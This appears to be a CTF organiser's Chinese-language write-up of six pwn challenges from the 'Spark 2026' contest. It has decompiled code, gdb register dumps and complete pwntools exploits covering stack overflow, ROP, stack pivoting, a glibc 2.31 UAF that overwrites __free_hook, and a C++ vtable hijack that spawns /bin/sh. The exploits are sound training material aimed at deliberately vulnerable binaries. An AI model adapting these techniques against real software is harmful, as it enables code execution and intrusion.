← 返回文章存档

Spark 2026 Pwn方向出题实录以及解答(Week1-4)

文章目录
  1. Heavensdoor
  2. Call My Name
  3. from the sea, to the stars
  4. from the sea, to the astra
  5. Deal Gone Wrong
  6. Big Shot

也是很荣幸能够在去年自己打过的比赛中成为出题组的一员.

一共出了八道 Pwn ,分别是 Heavensdoor , Call My Name , from the sea, to the stars , from the sea, to the astra , Deal Gone Wrong , Big Shot , 雪葬 , 那里不曾有一位男人.

接下来一道一道讲吧.

Heavensdoor

Week1的简单题,基础栈溢出Ret2backdoor.没有什么太好说的.

__int64 v4; // [rsp+0h] [rbp-28h] BYREF
read(fd: 0, buf: &v4, nbytes: 0x100u);
-0000000000000028 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000028 // Frame size: 28; Saved regs: 0; Purge: 0
-0000000000000028
-0000000000000028     // padding byte
-0000000000000027     // padding byte
-0000000000000026     // padding byte
-0000000000000025     // padding byte
-0000000000000024     // padding byte
-0000000000000023     // padding byte
-0000000000000022     // padding byte
-0000000000000021     // padding byte
-0000000000000020     // padding byte
-000000000000001F     // padding byte
-000000000000001E     // padding byte
-000000000000001D     // padding byte
-000000000000001C     // padding byte
-000000000000001B     // padding byte
-000000000000001A     // padding byte
-0000000000000019     // padding byte
-0000000000000018     // padding byte
-0000000000000017     // padding byte
-0000000000000016     // padding byte
-0000000000000015     // padding byte
-0000000000000014     // padding byte
-0000000000000013     // padding byte
-0000000000000012     // padding byte
-0000000000000011     // padding byte
-0000000000000010     // padding byte
-000000000000000F     // padding byte
-000000000000000E     // padding byte
-000000000000000D     // padding byte
-000000000000000C     // padding byte
-000000000000000B     // padding byte
-000000000000000A     // padding byte
-0000000000000009     // padding byte
-0000000000000008     // padding byte
-0000000000000007     // padding byte
-0000000000000006     // padding byte
-0000000000000005     // padding byte
-0000000000000004     // padding byte
-0000000000000003     // padding byte
-0000000000000002     // padding byte
-0000000000000001     // padding byte
+0000000000000000     _UNKNOWN *__return_address;

覆盖 0x28 再进行溢出.不过这里有一点值得讲的是,当时编译文件用的 -O2 自动省略了帧指针,由于main里面没有执行 push rbp; mov rbp,rsp,导致你在 stack of main 里面看不到 saved regeisters 以及在动态调试里面,查看 stack 时看不到 rbp(此时 rbp 是 libc 启动函数留下来的遗留值) . 在 -O2 下面是再正常不过的事情了.只要能看清哪里是 retaddr 这道题就能解.

以下是这道题的exp:

from pwn import *
context(arch  = 'amd64' , os = 'linux' , log_level = 'debug')

io = process("./heavensdoor")
#io = remote("",)

backdoor = 0x401240
ret = 0x401148

payload = b'A' * 0x28 + p64(ret) + p64(backdoor)
io.sendline(payload)
io.interactive()

注意栈对齐就好了.如何知道是栈对齐引起的崩溃呢,使用gdb调试脚本的时候,看见在movaps指令的时候崩溃就是栈对齐问题.垫一个ret让rsp十六字节对齐就好了.

(System V ABI 要求 call 执行前 rsp 以 16字节对齐, 我们是从 ret 跳进来后门的,比正常 call 要少8字节,因此 system 以错误的对齐进入,在 do_system 里面的 movaps崩掉)

Call My Name

Week2的中等题,一道基础的寄存器复用+二段读+ROP的题目

考验一下小灯们的动态调试能力,但是感觉大多数都是直接丢给ai,没有自己调试看寄存器.

ssize_t take_message()
{
  __int64 v1; // [rsp+0h] [rbp-58h] BYREF

  puts(s: "(When feel alone)");
  puts(s: "(Just call my name)");
  puts(s: "I will hear your voice -- leave your message after the tone.");
  return read(fd: 0, buf: &v1, nbytes: 0x70u);
}
+0000000000000000     _UNKNOWN *__return_address;

先来看一下 vuln 吧.

这道题也是 -O2,所以 v1 距离 retaddr 有 0x58 的长度,但是溢出一共只给我们 0x70 , 意思就是说我们的第一段ROP只有三个位置能放东西. 除去最后一个位置放 PLT ,我们一共就只能放一个 pop;ret ,以及一个数据. 因此我们只能设置一个寄存器.

这个就是这道题的考点了,看以下内容

 RAX  0x70
 RBX  0x7ffd598083c8 —▸ 0x7ffd59808cb4 ◂— './call_my_name'
 RCX  0x73df4bf1bd31 (read+17) ◂— cmp rax, -0x1000 /* 'H=' */
 RDX  0x70
 RDI  0
 RSI  0x7ffd59808240 ◂— 0x4141414141414141 ('AAAAAAAA')
 R8   0x3c
 R9   0
 R10  0x73df4be109d8 ◂— 0x11001200001bd3
 R11  0x346
 R12  1
 R13  0
 R14  0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401210 (__do_global_dtors_aux) ◂— endbr64
 R15  0x73df4c1c3000 (_rtld_global) —▸ 0x73df4c1c42e0 ◂— 0
 RBP  0x7ffd59808340 —▸ 0x7ffd598083a0 ◂— 0
 RSP  0x7ffd59808238 —▸ 0x401291 (take_message+49) ◂— add rsp, 0x58
*RIP  0x73df4bf1bd39 (read+25) ◂— ret 

这个是在 read 的 ret 指令之前,寄存器的样子.我们的 RDI , RSI , RDX 三个寄存器都还保持着原来设定的样子,意思就是说,我们不必再去给 RDI , RSI 赋值,仅仅将 RDX 改为一个较大的数字,就可以达到栈上的二段读了.以下是exp

from pwn import *
context(arch = "amd64",os = 'linux' ,log_level = 'debug')

io = process("./call_my_name")

gdbscript = '''
    set follow-fork-mode parent
    set detach-on-fork on
    b main
'''
gdb.attach(io,gdbscript=gdbscript)

read_plt = 0x401090
system_plt = 0x401080
rdi = 0x401250
rsi = 0x401252
rdx = 0x401254
ret = 0x40101a

payload = b'A'* 0x58
payload += flat( rdx , 0x200 , read_plt)
io.recvuntil(b'after the tone.')
io.send(payload)

payload2 = b'A' * 0x70
payload2 += flat(ret , rdi , 0 , rsi , 0x4040a0 , rdx , 0x100, read_plt , rdi , 0x4040a0 , system_plt)
io.send(payload2)
io.send(b'/bin/sh\x00')
io.interactive()

但是值得注意的是,在glibc版本2.41之后,使用相同脚本无法打通本题,将断点下在 crash 之前,是如下的场景

──────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────
*RAX  0xc8
*RBX  0x4141414141414141 ('AAAAAAAA')
*RCX  0x7c4a1f0a1ba6 ◂— movsxd rdx, eax
*RDX  0xc8
 RDI  0
 RSI  0x7ffe8f21c1c0 ◂— 0x4141414141414141 ('AAAAAAAA')
 R8   0
 R9   0
 R10  0
*R11  0x202
 R12  1
 R13  0
 R14  0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401210 (__do_global_dtors_aux) ◂— endbr64
 R15  0x7c4a1f260000 (_rtld_global) —▸ 0x7c4a1f261310 ◂— 0
*RBP  0x4141414141414141 ('AAAAAAAA')
*RSP  0x7ffe8f21c210 ◂— 0x4141414141414141 ('AAAAAAAA')
*RIP  0x7c4a1f0a1bb8 ◂— ret 
───────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────
   0x7c4a1f0a1ba9    cmp    eax, 0xfffff000
   0x7c4a1f0a1bae  ? ja     0x7c4a1f0a1bc0              <0x7c4a1f0a1bc0>
 
   0x7c4a1f0a1bb0    mov    rbx, qword ptr [rbp - 8]
   0x7c4a1f0a1bb4    mov    rax, rdx
   0x7c4a1f0a1bb7    leave 
 ► 0x7c4a1f0a1bb8    ret                                <0x4141414141414141>
    ↓



─────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe8f21c210 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓        3 skipped
04:0020│     0x7ffe8f21c230 —▸ 0x40101a (_init+26) ◂— ret 
05:0028│     0x7ffe8f21c238 —▸ 0x401250 (crank) ◂— pop rdi
06:0030│     0x7ffe8f21c240 ◂— 0
07:0038│     0x7ffe8f21c248 —▸ 0x401252 (dial) ◂— pop rsi

能看到某个返回地址被我们写入的垃圾字节给覆盖掉,导致程序崩溃,这里是__syscall_cancel的返回地址被覆盖掉了,不过这里不过多赘述了,具体可以去查看glibc的源码以及动态调试得知.

from the sea, to the stars

简单栈迁移,作为Week3的中等难度还是比较合适的.

就像所有栈迁移教学题目一样,我把 stars 函数注册进了 .init_array .

void *stars()
{
  void *result; // rax

  new_home = mmap(addr: (void *)0x31335000, len: 0x3000u, prot: 3, flags: 50, fd: -1, offset: 0);
  result = new_home;
  if ( new_home == (void *)-1LL )
  {
    puts(s: "the sea swallowed the stars...");
    _exit(status: 1);
  }
  new_home = (void *)825454592;
  return result;
}

意思就是mmap一段长度为0x3000且可读写的区域,再将这段地址+0x2000的位置放进bss里面的new_home全局变量中.

随后的voyage函数向其中读入最大长度为0x1000大小的数据.

vuln给出刚好够到retaddr的溢出.

这个时候就应该能够想到栈迁移了,即在newhome里面先布置好 rop 链,然后在saved rbp的位置填好rop链那里的地址,最后再放一个leave;ret gadget在retaddr里面,在vuln的函数收尾以及我们填上的leave;ret 的双重leave之下,我们成功将rsp迁移到了newhome,随后进行rop链.

再看一眼gadgets

0x000000000040119d : pop rbp ; ret
0x00000000004011be : pop rdi ; ret
0x000000000040101a : ret

只有三个popret,而且仅仅只有设置第一个参数的能力.因此直接mmap改rwx写shellcode在没有libcleak的时候是不可行的,而有了libcleak之后直接走system要比mmap方便的多.

所以这里第一次先构造一个puts(puts@got)的rop链出来,泄露libc之后重回voyage,走system就可以了.

以下是exp

from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')

io = process("./pwn")
libc = ELF("./libc.so.6")

gdbscript = ''''''
#gdb.attach(io,gdbscript = gdbscript)

'''
0x000000000040119d : pop rbp ; ret
0x00000000004011be : pop rdi ; ret
0x000000000040101a : ret
'''
rdi = 0x4011be
ret = 0x4011bf
new_home = 0x31337000
leaveret = 0x401270

puts_plt = 0x401090
puts_got = 0x404020
voyage = 0x401272

io.recvuntil(b'Many were the years as I waited for you here -- settle your new home among the stars.')
payload1 = flat(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,rdi,puts_got,puts_plt,voyage)
io.send(payload1)

io.recvuntil(b'voyage...\n')
payload2 = flat(0,0,new_home+0x100,leaveret)
io.send(payload2)

io.recvuntil(b' :)\n')
puts = u64(io.recvn(6).ljust(8,b'\x00'))
libc.address = puts - libc.sym['puts']
log.success(f"libc_base = "+hex(libc.address))

system = libc.sym['system']
io.recvuntil(b'stars.')
binsh = next(libc.search(b'/bin/sh\x00'))
payload3 = flat(0,ret,rdi,binsh,system)
io.send(payload3)

io.recvuntil(b'voyage...\n') 
payload4 = flat(0,0,new_home,leaveret)
io.sendline(payload4)

io.interactive()

值得一提的是,我们两次栈迁移的栈帧应当尽量远一点,如果靠太近,在第一次栈迁移结束后,整个栈帧挪到newhome那一块区域,极有可能在我们铺完第二段链后面,puts等函数的栈帧会将我们的链给污染掉,从而崩溃.

from the sea, to the astra

跟上一道题相似的栈迁移,但是有点不太一样?

voyage:
  read(fd: 0, buf: (void *)0x30080000, nbytes: 0x80u);
vuln:
  read(fd: 0, buf, nbytes: 0x20u);

相似的向rw段写东西的voyage以及短溢出vuln.

但是

existence@LAPTOP-TV9V00LF:/mnt/c/Users/Lenovo/Desktop/Pwn/Spark26/astra$ ROPgadget --binary ./pwn --only "pop|ret"
Gadgets information
============================================================
0x000000000040125d : pop rbp ; ret
0x000000000040101a : ret
0x000000000040132e : ret 0x458b
0x00000000004012bd : ret 0x8948

Unique gadgets found: 4

gadgets消失了.

与此同时,存在于.init_array的stars变成了某种更复杂的存在:

void *stars()
{
  _BYTE *v0; // rbx
  void *result; // rax
  struct timespec tp; // [rsp+0h] [rbp-50h] BYREF
  void *v3; // [rsp+18h] [rbp-38h]
  void *addr; // [rsp+20h] [rbp-30h]
  int fd; // [rsp+2Ch] [rbp-24h]
  __int64 j; // [rsp+30h] [rbp-20h]
  unsigned __int64 i; // [rsp+38h] [rbp-18h]

  fd = memfd_create(a1: "from the sea, to the astra", a2: 0); 
  if ( fd < 0 || ftruncate(fd, length: 0x100000) != 0 )              //创建1mb的mem
  {
    puts(s: "the sea swallowed the stars...");
    _exit(status: 1);
  }
  addr = mmap(addr: nullptr, len: 0x100000u, prot: 3, flags: 1, fd, offset: 0);  //RW
  if ( addr == (void *)-1LL )
  {
    puts(s: "the sea swallowed the stars...");
    _exit(status: 1);
  }
  clock_gettime(clock_id: 1, &tp);
  first_twinkle = tp.tv_nsec;         //seed
  sm_state = LODWORD(tp.tv_nsec);
  for ( i = 0; i <= 0xFFFFF; ++i )             //1mb逐字节刷随机数
  {
    v0 = (char *)addr + i;
    *v0 = next_star();
  }
  for ( j = 0; (unsigned __int64)(j + 1) <= 0xFFFFF; ++j )
  {
    if ( *((_BYTE *)addr + j) == 15 && *((_BYTE *)addr + j + 1) == 5 )        //ban掉syscall
      *((_BYTE *)addr + j + 1) = 4;
  }
  sea_whisper = crc32_of(a1: addr, a2: 0x100000);   //算出整个1MB数据的指纹,可以作为一个checkpoint让选手check自己复现的1MB数据的正确性
  munmap(addr, len: 0x100000u);
  v3 = mmap(addr: (void *)0x30000000, len: 0x100000u, prot: 5, flags: 17, fd, offset: 0);   //RX
  close(fd);
  if ( v3 == (void *)-1LL )
  {
    puts(s: "the sea swallowed the stars...");
    _exit(status: 1);
  }
  result = mmap(addr: (void *)0x3007F000, len: 0x2000u, prot: 3, flags: 50, fd: -1, offset: 0);   //RW
  if ( result != (void *)-1LL )
    return result;
  puts(s: "the sea swallowed the stars...");
  _exit(status: 1);
  return result;
}
unsigned __int64 next_star()   //splitmix64变体  算随机数
{
  sm_state -= 0x61C8864680B583EBLL;
  return (0x94D049BB133111EBLL
        * ((0xBF58476D1CE4E5B9LL * (sm_state ^ ((unsigned __int64)sm_state >> 30)))
         ^ ((0xBF58476D1CE4E5B9LL * (sm_state ^ ((unsigned __int64)sm_state >> 30))) >> 27))) >> 56;
}

所以意思就是说,gadget被替换成了由splitmix64变体的随机数海,我们需要的就是从随机数海里面挖gadgets.

除此之外,剩下的基本上与上一题差不多.

from pwn import *
import zlib

context(arch='amd64', os='linux', log_level='debug')

io = process("./pwn")
libc = ELF('./libc.so.6')

#gdb.attach(io, 'b *0x401573')

'''
0x000000000040125d : pop rbp ; ret
0x000000000040101a : ret
0x000000000040132e : ret 0x458b
0x00000000004012bd : ret 0x8948
'''
w = 0x30080000
leaveret = 0x401573
ret = 0x40101a
puts_plt = 0x401104
read_plt = 0x401174
puts_got = 0x403fa8


def sea(seed):
    s, M, out = seed & 0xffffffff, (1 << 64) - 1, bytearray(0x100000)
    for i in range(0x100000):
        z = s = (s + 0x9E3779B97F4A7C15) & M
        z = ((z ^ z >> 30) * 0xBF58476D1CE4E5B9) & M
        out[i] = (((z ^ z >> 27) * 0x94D049BB133111EB) & M) >> 56
    return bytes(out).replace(b'\x0f\x05', b'\x0f\x04')


def g(s, pat):
    o = 0
    while (i := s.find(pat, o)) >= 0:
        o = i + 1
        if i + 2 <= 0x7f000 or i >= 0x81000:
            return 0x30000000 + i


io.recvuntil(b'blinked at: '); 
seed = int(io.recvuntil(b'\n', drop=True))
io.recvuntil(b'whispers: ');   
crc  = int(io.recvuntil(b'\n', drop=True), 16)
s = sea(seed)
assert zlib.crc32(s) & 0xffffffff == crc

rdi = g(s, b'\x5f\xc3')
rsi = g(s, b'\x5e\xc3')
rdx = g(s, b'\x5a\xc3')

payload1 = flat(0, rdi, puts_got, ret, puts_plt, rdi, 0, rsi, w, rdx, 0x80, read_plt).ljust(0x80, b'\x00')
io.send(payload1)

io.sendafter(b'something missing', flat(b'A' * 16, w, leaveret))

io.recvuntil(b'stars :)\n')
puts = u64(io.recvline().strip().ljust(8, b'\x00'))
libc.address = puts - libc.sym['puts']
log.success('libc_base = ' + hex(libc.address))

payload2 = flat(b'\x00' * 0x60, rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'])
io.send(payload2)

io.interactive()

不过值得注意的是,这道题像上一题那样返回voyage头部是行不通的,在stars那道题里面,向下的缓冲区域有0x2000多的空间,而这里只有大约0x1028的空间,printf的用栈空间较大,挤到了底下不可写的区域就会崩溃.所以这里直接构造read.(其实从voyage中部返回也可以)

Deal Gone Wrong

Week4的中等题,入门堆题.

漏洞点在于delete选项

      case 2LL:
        idx = read_idx();
        if ( idx >= 0 )
          free(ptr: *((void **)&deals + idx));
        break;

只free掉堆块,没有清空存着的指针,因此有一个UAF.

在glibc2.31版本中,freehook并没有移除,因此我们可以改freehook的值为system,free掉一个装着”/bin/sh“的堆块来getshell.

但是这么做的一切需要libcleak,那我们如何来泄露libc的基址呢.

如果unsortedbin中的某个size的chunk只有一个的话,那么他的fd和bk字段都会被修改成main_arena加上一个offset,利用show功能,将里面的字段打印出来,减去main_arena在libc的偏移以及当前字段相对于main_arena的偏移,即可泄露libcbase

而最后使用UAF下的edit功能修改被放进tcache的chunk的next字段即可达到任意地址分配,从而改写freehook

因此我们就可以写出exp

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')

p = process("./deal_gone_wrong")
libc = ELF('./libc-2.31.so', checksec=False)

def add(idx, size, content):
    p.sendlineafter(b'>> ', b'1')
    p.sendlineafter(b'index >> ', str(idx).encode())
    p.sendlineafter(b'size >> ', str(size).encode())
    p.sendafter(b'first terms >> ', content)


def free(idx):
    p.sendlineafter(b'>> ', b'2')
    p.sendlineafter(b'index >> ', str(idx).encode())


def edit(idx, content):
    p.sendlineafter(b'>> ', b'3')
    p.sendlineafter(b'index >> ', str(idx).encode())
    p.sendafter(b'new terms >> ', content)


def show(idx):
    p.sendlineafter(b'>> ', b'4')
    p.sendlineafter(b'index >> ', str(idx).encode())
    p.recvuntil(b'the contract: ')
    return p.recvn(8)

add(0, 0x500, b'AAAAAA\n')
add(1, 0x20, b'guard\n')
free(0)
leak = u64(show(0))

main_arena_off = 0x1ecb80
libc.address = leak - (main_arena_off + 0x60)
log.success('libc base        : %#x', libc.address)

add(2, 0x40, b'aaaa\n')
add(3, 0x40, b'bbbb\n')
free(2)
free(3)
edit(3, p64(libc.sym['__free_hook']))
add(4, 0x40, b'cccc\n')
add(5, 0x40, p64(libc.sym['system']))

add(6, 0x20, b'/bin/sh\x00')
free(6)

p.interactive()

Big Shot

Week4的困难题,入门C++堆题以及虚表入门,要求对bins的结构掌握牢固.同时一共有四个类需要逆向,可能对逆向的要求也比较高.

做题之前先看看前置知识吧,毕竟是C++的堆,我们就按照国际惯例源码和反编译一块贴出来吧

class Addison {
public:
    char  *slogan;
    size_t len;

    explicit Addison(size_t n) : len(n) {
        slogan = new char[n];
    }

    virtual void advertise() {
        printf("[Addison] HEY EVERY !!\n>> ");
        fwrite(slogan, 1, len, stdout);
        putchar('\n');
    }

    ~Addison() {
        size_t n = len < 8 ? 8 : len;
        memset(slogan, 0, n);
        delete[] slogan;
    }
};

首先是Addison这个类, 里面有着两个元素,一个是指向slogan的指针,另外一个则是slogan的长度,同时还有一个虚函数 advertise.

我们放进 IDA 里面看布局

// Alternative name is '_ZN7AddisonC1Em'
void __fastcall Addison::Addison(Addison *this, unsigned __int64 a2)
{
  *(_QWORD *)this = &off_3CD0;
  *((_QWORD *)this + 2) = a2;
  *((_QWORD *)this + 1) = operator new[](a1: a2);
}

可以看到相对位置: +0x00 vptr; +0x08 slogan; +0x10 len

而在子类PinkAddison里面

explicit PinkAddison(size_t n) : Addison(n) {}

这一行在反编译里面相当于以下的代码,也就是一次父构造调用再加上 vptr 的替换

Addison::Addison(this, a2);
*(_QWORD *)this = &off_3CB8;

而

a = new PinkAddison(n);

则相当于这两行

v1 = operator new(0x18);
PinkAddison::PinkAddison(v1, n);

我们接下来看虚调用:

stalls[i]->advertise();

调用 stall 存着对象的 advertise 虚函数就会变成

(***((__int64 (__fastcall ****)(_QWORD))&stalls + v0))(a1: *((_QWORD *)&stalls + v0));

对应的那一小块汇编就是

mov rax, [obj]    ; vptr
mov rdx, [rax]    ; 虚表槽0
mov rdi, obj
call rdx

普通的函数时 call 固定地址;虚函数调用时解两次指针之后再call 寄存器,所以三个* 在这里就相当于告诉我们要走虚表了,又套了一个*是没有识别到数组

此外,delete操作的时候

delete stalls[i];

会变成

Addison::~Addison(stalls[v0]);        // 直接 call 析构 静态绑定析构不是 virtual 
operator delete(v1, 0x18);            // sized delete ---> free

看完了这些之后,我们就可以着手分析题目了.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setvbuf(stream: stdout, buf: nullptr, modes: 2, n: 0);
  setvbuf(stream: stdin, buf: nullptr, modes: 2, n: 0);
  banner();
  while ( 1 )
  {
    menu();
    switch ( ask(a1: "> ") )
    {
      case 1LL:
        hire();
        break;
      case 2LL:
        advertise();
        break;
      case 3LL:
        rewrite();
        break;
      case 4LL:
        inspect();
        break;
      case 5LL:
        fire();
        break;
      default:
        continue;
    }
  }
}

按照堆题的惯例,给出的是菜单,一共五个选项,通过反编译得知 HIRE 是分配+写台词的能力;ADVERTISE是虚调用打印台词;REWRITE是重写台词;INSPECT是打印对象的三个QWord;FIRE是释放空间.

我们直接跟进REWRITE:

int __fastcall rewrite()
{
  __int64 v0; // rax
  __int64 v2; // [rsp+0h] [rbp-10h]
  __int64 v3; // [rsp+8h] [rbp-8h]

  v0 = ask_stall();
  v2 = v0;
  if ( v0 < 0 )
    return v0;
  if ( stalls[v0] != 0 )
  {
    v3 = ask(a1: "new pitch length: ");
    if ( v3 >= 0 && *(_QWORD *)(stalls[v2] + 16LL) + 24LL >= (unsigned __int64)v3 )  //判断len + 0x18 是否大于v3
    {
      read_exact(a1: *(char **)(stalls[v2] + 8LL), a2: v3);
      LODWORD(v0) = puts(s: "pitch rewritten.");
    }
    else
    {
      LODWORD(v0) = puts(s: "even HE can't scream that long.");
    }
  }
  else
  {
    LODWORD(v0) = puts(s: "empty stall.");
  }
  return v0;
}

这里的 len + 24 给了我们溢出的空间 0x18 ,根据我们Addison类的特性以及堆布局,我们刚好能溢出修改下一个chunk的 size/vptr/slogan指针.而这里的vptr就是我们预期的劫持点.

不过这里有人就要问了,为什么不能打__free_hook或者其他的呢,我们先来看FIRE函数:

int __fastcall fire()
{
  __int64 v0; // rax
  void *v1; // rbx
  __int64 v3; // [rsp+8h] [rbp-18h]

  v0 = ask_stall();
  v3 = v0;
  if ( v0 < 0 )
    return v0;
  if ( stalls[v0] != 0 )
  {
    v1 = (void *)stalls[v0];
    if ( v1 != nullptr )
    {
      Addison::~Addison(this: (Addison *)stalls[v0]);
      operator delete(a1: v1, a2: 0x18u);
    }
    stalls[v3] = 0;
    puts(s: "he crawls back into the [garbage can].");
    puts(s: "LIVING IN A GODDAMN GARBAGE CAN???");
    LODWORD(v0) = puts(s: "the phone keeps ringing. NO ONE WILL EVER PICK UP.");
  }
  else
  {
    LODWORD(v0) = puts(s: "empty stall.");
  }
  return v0;
}

首先UAF不成立,因为在delete之后会直接清空指针.随后,我们来跟进一下~Addison

void __fastcall Addison::~Addison(Addison *this)
{
  size_t v1;

  *(_QWORD *)this = &off_3CD0;
  v1 = *((_QWORD *)this + 2);
  if ( v1 < 8 )
      v1 = 8;
  memset( *((void **)this + 1),
          0,
          v1 );
  if ( *((_QWORD *)this + 1) )
      operator delete[](...);
}

这一段是在delete之前执行的,意思是就是说,在进入free的流程之前,我们台词缓冲区的至少前八个字节将会直接被抹零,从而free(“/bin/sh”)这个打法是已经被堵死了的.

我们继续回到上面那一块,我们已经拥有了0x18,能覆盖vptr,slogan,size字段的能力,但是我们现在还缺leak.因为注意到在bigshot函数中存在后门:

int __fastcall Spamton::big_shot(Spamton *this)
{
  puts(s: "THAT'S RIGHT!! NOW'S YOUR CHANCE TO BE A [[BIG SHOT]]!!!");
  return system(command: "/bin/sh");
}

所以要调用这个我们至少需要一个PIEleak,还有一个Heapleak.为了平衡难度,我就没有强制选手设计利用链来泄露基址了,我直接在Inspect函数中把这两个基址打印出来了.

所以我们后面的利用链也明显了:新建一个Addison,在slogan字段里面伪造vptr,存放后门的bigshot函数,再申请第二个Addison,将其vptr指向我们伪造的vptr,调用advertise就可以拿到shell

以下是exp

from pwn import *

context(arch='amd64', log_level='info')

p = process('./big_shot')

PINK_VPTR = 0x3CB8
BIG_SHOT  = 0x134A

def hire(i, who, card, data):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'stall (0-7): ', str(i).encode())
    p.sendlineafter(b'salesman (1 Pink / 2 Cyan / 3 Spamton): ', str(who).encode())
    p.sendlineafter(b'pitch card size (1..4): ', str(card).encode())
    p.sendlineafter(b'pitch length: ', str(len(data)).encode())
    p.send(data)

def adv(i):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'stall (0-7): ', str(i).encode())

def edit(i, data):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'stall (0-7): ', str(i).encode())
    p.sendlineafter(b'new pitch length: ', str(len(data)).encode())
    p.send(data)

def inspect(i):
    p.sendlineafter(b'> ', b'4')
    p.sendlineafter(b'stall (0-7): ', str(i).encode())
    q = []
    for tag in (b'[0x00] ', b'[0x08] ', b'[0x10] '):
        p.recvuntil(tag)
        q.append(int(p.recvline().strip(), 16))
    return q   # vptr, slogan, len

hire(0, 1, 1, b'A')
hire(1, 1, 1, b'B')

vptrA, sloA, _ = inspect(0)
_, sloB, _ = inspect(1)
pie = vptrA - PINK_VPTR
print('pie    =', hex(pie))
print('sloA   =', hex(sloA))

big_shot = pie + BIG_SHOT

payload = p64(big_shot) + b'1997'.ljust(0x10, b'\x00') + p64(0x21) + p64(sloA) + p64(sloB)
edit(0, payload)

adv(1)

p.interactive()